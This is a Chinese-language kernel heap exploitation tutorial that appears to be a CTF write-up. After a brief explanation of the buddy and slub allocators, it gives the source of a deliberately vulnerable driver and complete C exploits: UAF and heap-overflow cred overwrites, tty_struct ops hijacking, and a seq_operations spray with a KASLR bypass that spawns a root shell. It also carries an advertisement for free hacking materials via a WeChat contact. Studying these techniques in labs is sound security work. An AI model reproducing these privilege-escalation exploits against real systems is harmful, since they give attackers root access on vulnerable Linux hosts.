前言
本文还是用一道例题来讲解几种内核堆利用方法,内核堆利用手段比较多,可能会分三期左右写。进行内核堆利用前,可以先了解一下内核堆的基本概念,当然更好去找一些详细的内核堆的基础知识。
概述
Linux kernel
将内存分为 页(page)→区(zone)→节点(node)
三级结构,主要有两个内存管理器—— buddy system
与 slub allocator
,前者负责以内存页为粒度管理所有可用的物理内存,后者则以slab
分配器为基础向前者请求内存页并划分为多个较小的对象(object)以进行细粒度的内存管理。
budy system
buddy system
以 page
为粒度管理着所有的物理内存,在每个 zone
结构体中都有一个 free_area
结构体数组,用以存储 buddy system
按照 order
管理的页面:
-
分配:
-
首先会将请求的内存大小向 2 的幂次方张内存页大小对齐,之后从对应的下标取出连续内存页。
-
若对应下标链表为空,则会从下一个 order 中取出内存页,一分为二,装载到当前下标对应链表中,之后再返还给上层调用,若下一个 order 也为空则会继续向更高的 order 进行该请求过程。
-
-
释放:
-
将对应的连续内存页释放到对应的链表上。
-
检索是否有可以合并的内存页,若有,则进行合成,放入更高 order 的链表中。
-
slub allocator
slub_allocator
是基于 slab_alloctor
的分配器。slab allocator
向 buddy system
请求单张或多张连续内存页后再分割成同等大小的 object
返还给上层调用者来实现更为细粒度的内存管理。
-
分配:
-
首先从
kmem_cache_cpu
上取对象,若有则直接返回。 -
若
kmem_cache_cpu
上的slub
已经无空闲对象了,对应slub
会被从kmem_cache_cpu
上取下,并尝试从partial
链表上取一个slub
挂载到kmem_cache_cpu
上,然后再取出空闲对象返回。 -
若
kmem_cache_node
的partial
链表也空了,那就向buddy system
请求分配新的内存页,划分为多个object
之后再给到kmem_cache_cpu
,取空闲对象返回上层调用。
-
-
释放:
-
若被释放
object
属于kmem_cache_cpu
的slub
,直接使用头插法插入当前CPU slub
的freelist
。 -
若被释放
object
属于kmem_cache_node
的partial
链表上的slub
,直接使用头插法插入对应slub
的freelist
。 -
若被释放
object
为full slub
,则其会成为对应slub
的freelist
头节点,且该slub
会被放置到partial
链表。
-
【---- 帮助网安学习,以下所有学习资料免费领!领取资料加 we~@x:dctintin,备注 “开源中国” 获取!】
① 网安学习成长路径思维导图
② 60 + 网安经典常用工具包
③ 100+SRC 漏洞分析报告
④ 150 + 网安攻防实战技术电子书
⑤ 最权威 CISSP 认证考试指南 + 题库
⑥ 超 1800 页 CTF 实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP 客户端安全检测指南(安卓 + IOS)
heap_bof
题目分析
题目给了源码,存在UAF
和heap overflow
两种漏洞。内核版本为4.4.27
#include <asm/uaccess.h> #include <linux/cdev.h> #include <linux/device.h> #include <linux/fs.h> #include <linux/kernel.h> #include <linux/module.h> #include <linux/slab.h> #include <linux/types.h> struct class *bof_class; struct cdev cdev; int bof_major = 256; char *ptr[40];// 指针数组,用于存放分配的指针 struct param { size_t len; // 内容长度 char *buf; // 用户态缓冲区地址 unsigned long idx;// 表示 ptr 数组的 索引 }; long bof_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { struct param p_arg; copy_from_user(&p_arg, (void *) arg, sizeof(struct param)); long retval = 0; switch (cmd) { case 9: copy_to_user(p_arg.buf, ptr[p_arg.idx], p_arg.len); printk("copy_to_user: 0x%lx\n", *(long *) ptr[p_arg.idx]); break; case 8: copy_from_user(ptr[p_arg.idx], p_arg.buf, p_arg.len); break; case 7: kfree(ptr[p_arg.idx]); printk("free: 0x%p\n", ptr[p_arg.idx]); break; case 5: ptr[p_arg.idx] = kmalloc(p_arg.len, GFP_KERNEL); printk("alloc: 0x%p, size: %2lx\n", ptr[p_arg.idx], p_arg.len); break; default: retval = -1; break; } return retval; } static const struct file_operations bof_fops = { .owner = THIS_MODULE, .unlocked_ioctl = bof_ioctl,//linux 2.6.36内核之后unlocked_ioctl取代ioctl }; static int bof_init(void) { //设备号 dev_t devno = MKDEV(bof_major, 0); int result; if (bof_major)//静态分配设备号 result = register_chrdev_region(devno, 1, "bof"); else {//动态分配设备号 result = alloc_chrdev_region(&devno, 0, 1, "bof"); bof_major = MAJOR(devno); } printk("bof_major /dev/bof: %d\n", bof_major); if (result < 0) return result; bof_class = class_create(THIS_MODULE, "bof"); device_create(bof_class, NULL, devno, NULL, "bof"); cdev_init(&cdev, &bof_fops); cdev.owner = THIS_MODULE; cdev_add(&cdev, devno, 1); return 0; } static void bof_exit(void) { cdev_del(&cdev); device_destroy(bof_class, MKDEV(bof_major, 0)); class_destroy(bof_class); unregister_chrdev_region(MKDEV(bof_major, 0), 1); printk("bof exit success\n"); } MODULE_AUTHOR("exp_ttt"); MODULE_LICENSE("GPL"); module_init(bof_init); module_exit(bof_exit);
boot.sh
这道题是多核多线程。并且开启了smep
和smap
。
#!/bin/bash qemu-system-x86_64 \ -initrd rootfs.cpio \ -kernel bzImage \ -m 512M \ -nographic \ -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \ -monitor /dev/null \ -smp cores=2,threads=2 \ -cpu kvm64,+smep,+smap \
kernel Use After Free
利用思路
cred
结构体大小为 0xa8
,根据 slub
分配机制,如果申请和释放大小为 0xa8
(实际为 0xc0
)的内存块,此时再开一个线程,则该线程的 cred
结构题正是刚才释放掉的内存块。利用 UAF
漏洞修改 cred
就可以实现提权。
exp
#include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> #include <sys/wait.h> #define BOF_MALLOC 5 #define BOF_FREE 7 #define BOF_EDIT 8 #define BOF_READ 9 struct param { size_t len; // 内容长度 char *buf; // 用户态缓冲区地址 unsigned long idx;// 表示 ptr 数组的 索引 }; int main() { int fd = open("dev/bof", O_RDWR); struct param p = {0xa8, malloc(0xa8), 1}; ioctl(fd, BOF_MALLOC, &p); ioctl(fd, BOF_FREE, &p); int pid = fork(); // 这个线程申请的cred结构体obj即为刚才释放的obj。 if (pid < 0) { puts("[-]fork error"); return -1; } if (pid == 0) { p.buf = malloc(p.len = 0x30); memset(p.buf, 0, p.len); ioctl(fd, BOF_EDIT, &p); // 修改用户ID if (getuid() == 0) { puts("[+]root success"); system("/bin/sh"); } else { puts("[-]root failed"); } } else { wait(NULL); } close(fd); return 0; }
但是此种方法在较新版本 kernel
中已不可行,我们已无法直接分配到 cred_jar
中的 object
,这是因为 cred_jar
在创建时设置了 SLAB_ACCOUNT
标记,在 CONFIG_MEMCG_KMEM=y
时(默认开启)cred_jar
不会再与相同大小的 kmalloc-192
进行合并。
// kernel version == 4.4.72 void __init cred_init(void) { /* allocate a slab in which we can store credentials */ cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL); } // kernel version == 4.5 void __init cred_init(void) { /* allocate a slab in which we can store credentials */ cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0, SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL); }
heap overflow
溢出修改 cred
,和前面 UAF 修改 cred
一样,在新版本失效。多核堆块难免会乱序,溢出之前记得多申请一些0xc0
大小的obj
,因为我们 freelist
中存在很多之前使用又被释放的obj
导致的obj
乱序。我们需要一个排列整齐的内存块用于修改。
利用思路
-
多申请几个
0xa8
大小的内存块,将原有混乱的freelist
变为地址连续的freelist
。 -
利用堆溢出,修改被重新申请作为
cred
的ptr[5]
凭证区为0
。
exp
#include <stdio.h> #include <fcntl.h> #include <sys/ioctl.h> #include <unistd.h> #include <string.h> #include <stdlib.h> #include <sys/wait.h> struct param { size_t len; // 内容长度 char *buf; // 用户态缓冲区地址 long long idx; // 表示 ptr 数组的 索引 }; const int BOF_NUM = 10; int main(void) { int bof_fd = open("/dev/bof", O_RDWR); if (bof_fd == -1) { puts("[-] Failed to open bof device."); exit(-1); } struct param p = {0xa8, malloc(0xa8), 0}; // 让驱动分配 0x40 个 0xa8 的内存块 for (int i = 0; i < 0x40; i++) { ioctl(bof_fd, 5, &p); // malloc } puts("[*] clear heap done"); // 让驱动分配 10 个 0xa8 的内存块 for (p.idx = 0; p.idx < BOF_NUM; p.idx++) { ioctl(bof_fd, 5, &p); // malloc } p.idx = 5; ioctl(bof_fd, 7, &p); // free // 调用 fork 分配一个 cred结构体 int pid = fork(); if (pid < 0) { puts("[-] fork error"); exit(-1); } // 此时 ptr[4] 和 cred相邻 // 溢出 修改 cred 实现提权 p.idx = 4, p.len = 0xc0 + 0x30; memset(p.buf, 0, p.len); ioctl(bof_fd, 8, &p); if (!pid) { //一直到egid及其之前的都变为了0,这个时候就已经会被认为是root了 size_t uid = getuid(); printf("[*] uid: %zx\n", uid); if (!uid) { puts("[+] root success"); // 权限修改完毕,启动一个shell,就是root的shell了 system("/bin/sh"); } else { puts("[-] root fail"); } } else { wait(0); } return 0; }
tty_struct 劫持
boot.sh
这道题gadget
较少,我们就关了smep
保护。
#!/bin/bash qemu-system-x86_64 \ -initrd rootfs.img \ -kernel bzImage \ -m 512M \ -nographic \ -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \ -monitor /dev/null \ -s \ -cpu kvm64 \ -smp cores=1,threads=1 \ --nographic
利用思路
在 /dev
下有一个伪终端设备 ptmx
,在我们打开这个设备时内核中会创建一个 tty_struct
结构体,
ptmx_open (drivers/tty/pty.c) -> tty_init_dev (drivers/tty/tty_io.c) -> alloc_tty_struct (drivers/tty/tty_io.c)
tty
的结构体 tty_srtuct
定义在 linux/tty.h
中。其中 ops
项(64bit
下位于 结构体偏移 0x18
处)指向一个存放 tty
相关操作函数的函数指针的结构体 tty_operations
。其魔数为0x5401
// sizeof(struct tty_struct) == 0x2e0 /* tty magic number */ #define TTY_MAGIC 0x5401 struct tty_struct { ... const struct tty_operations *ops; ... } struct tty_operations { ... int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); ... };
使用 tty
设备的前提是挂载了 ptmx
设备。
mkdir /dev/pts mount -t devpts none /dev/pts chmod 777 /dev/ptmx
所以我们只需要劫持 tty_ops
的某个可触发的操作即可,将其劫持到 get_root
函数处。
exp
#include <sys/wait.h> #include <assert.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <unistd.h> #define BOF_MALLOC 5 #define BOF_FREE 7 #define BOF_EDIT 8 #define BOF_READ 9 void *(*commit_creds)(void *) = (void *) 0xffffffff810a1340; size_t init_cred = 0xFFFFFFFF81E496C0; void get_shell() { system("/bin/sh"); } unsigned long user_cs, user_rflags, user_rsp, user_ss, user_rip = (size_t) get_shell; void save_status() { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_rsp, rsp;" "pushf;" "pop user_rflags;" ); puts("[*]status has been saved."); } size_t kernel_offset; void get_root() { // 通过栈上残留地址来绕过 KASLR __asm__( "mov rbx, [rsp + 8];" "mov kernel_offset, rbx;" ); kernel_offset -= 0xffffffff814f604f; commit_creds = (void *) ((size_t) commit_creds + kernel_offset); init_cred = (void *) ((size_t) init_cred + kernel_offset); commit_creds(init_cred); __asm__( "swapgs;" "push user_ss;" "push user_rsp;" "push user_rflags;" "push user_cs;" "push user_rip;" "iretq;" ); } struct param { size_t len; // 内容长度 char *buf; // 用户态缓冲区地址 long long idx; // 表示 ptr 数组的 索引 }; int main(int argc, char const *argv[]) { save_status(); size_t fake_tty_ops[] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, get_root }; // len buf idx struct param p = {0x2e0, malloc(0x2e0), 0}; printf("[*]p_addr==>%p\n", &p); int bof_fd = open("/dev/bof", O_RDWR); p.len = 0x2e0; ioctl(bof_fd, BOF_MALLOC, &p); memset(p.buf, '\xff', 0x2e0); ioctl(bof_fd, BOF_EDIT, &p); ioctl(bof_fd, BOF_FREE, &p); int ptmx_fd = open("/dev/ptmx", O_RDWR); p.len = 0x20; ioctl(bof_fd, BOF_READ, &p); printf("[*]magic_code==> %p -- %p\n", &p.buf[0], *(size_t *)&p.buf[0]); printf("[*]tty____ops==> %p -- %p\n", &p.buf[0x18], *(size_t *)&p.buf[0x18]); *(size_t *)&p.buf[0x18] = &fake_tty_ops; ioctl(bof_fd, BOF_EDIT, &p); ioctl(ptmx_fd, 0, 0); return 0; }
seq_operations 劫持
boot.sh
#!/bin/bash qemu-system-x86_64 \ -initrd rootfs.img \ -kernel bzImage \ -m 512M \ -nographic \ -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \ -monitor /dev/null \ -s \ -cpu kvm64 \ -smp cores=1,threads=1 \ --nographic
利用思路
seq_operations
结构如下,该结构在打开 /proc/self/stat
时从 kmalloc-32
中分配。
struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); };
调用读取 stat
文件时会调用 seq_operations
的 start
函数指针。
ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos) { struct seq_file *m = file->private_data; ... p = m->op->start(m, &pos); ...
当我们在 heap_bof
驱动分配 0x20
大小的 object
后打开大量的 stat
文件就有很大概率在 heap_bof
分配的 object
的溢出范围内存在 seq_operations
结构体。由于这道题关闭了 SMEP
,SMAP
和 KPTI
保护,因此我们可以覆盖 start
函数指针为用户空间的提权代码实现提权。至于 KASLR
可以通过泄露栈上的数据绕过。
exp
#include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <sys/ioctl.h> #include <unistd.h> #include <string.h> struct param { size_t len; // 内容长度 char *buf; // 用户态缓冲区地址 long long idx;// 表示 ptr 数组的 索引 }; const int SEQ_NUM = 0x200; const int DATA_SIZE = 0x20 * 8; #define BOF_MALLOC 5 #define BOF_FREE 7 #define BOF_EDIT 8 #define BOF_READ 9 void get_shell() { system("/bin/sh"); } size_t user_cs, user_rflags, user_sp, user_ss, user_rip = (size_t) get_shell; void save_status() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;"); puts("[*] status has been saved."); } void *(*commit_creds)(void *) = (void *) 0xFFFFFFFF810A1340; void *init_cred = (void *) 0xFFFFFFFF81E496C0; size_t kernel_offset; void get_root() { // 通过栈上的残留值绕过KASLR。 __asm__( "mov rax, [rsp + 8];" "mov kernel_offset, rax;" ); kernel_offset -= 0xffffffff81229378; commit_creds = (void *) ((size_t) commit_creds + kernel_offset); init_cred = (void *) ((size_t) init_cred + kernel_offset); commit_creds(init_cred); __asm__( "swapgs;" "push user_ss;" "push user_sp;" "push user_rflags;" "push user_cs;" "push user_rip;" "iretq;" ); } int main() { save_status(); int bof_fd = open("dev/bof", O_RDWR); if (bof_fd < 0) { puts("[-] Failed to open bof."); exit(-1); } struct param p = {0x20, malloc(0x20), 0}; for (int i = 0; i < 0x40; i++) { ioctl(bof_fd, BOF_MALLOC, &p); } memset(p.buf, '\xff', p.len); ioctl(bof_fd, BOF_EDIT, &p); // 大量喷洒 seq_ops 结构体。 int seq_fd[SEQ_NUM]; for (int i = 0; i < SEQ_NUM; i++) { seq_fd[i] = open("/proc/self/stat", O_RDONLY); if (seq_fd[i] < 0) { puts("[-] Failed to open stat."); } } puts("[*] seq_operations spray finished."); // 通过溢出,将附近 seq_ops 的指针修改为 get_root地址。 p.len = DATA_SIZE; p.buf = malloc(DATA_SIZE); p.idx = 0; for (int i = 0; i < DATA_SIZE; i += sizeof(size_t)) { *(size_t *) &p.buf[i] = (size_t) get_root; } ioctl(bof_fd, BOF_EDIT, &p); puts("[*] Heap overflow finished."); for (int i = 0; i < SEQ_NUM; i++) { read(seq_fd[i], p.buf, 1); } return 0; }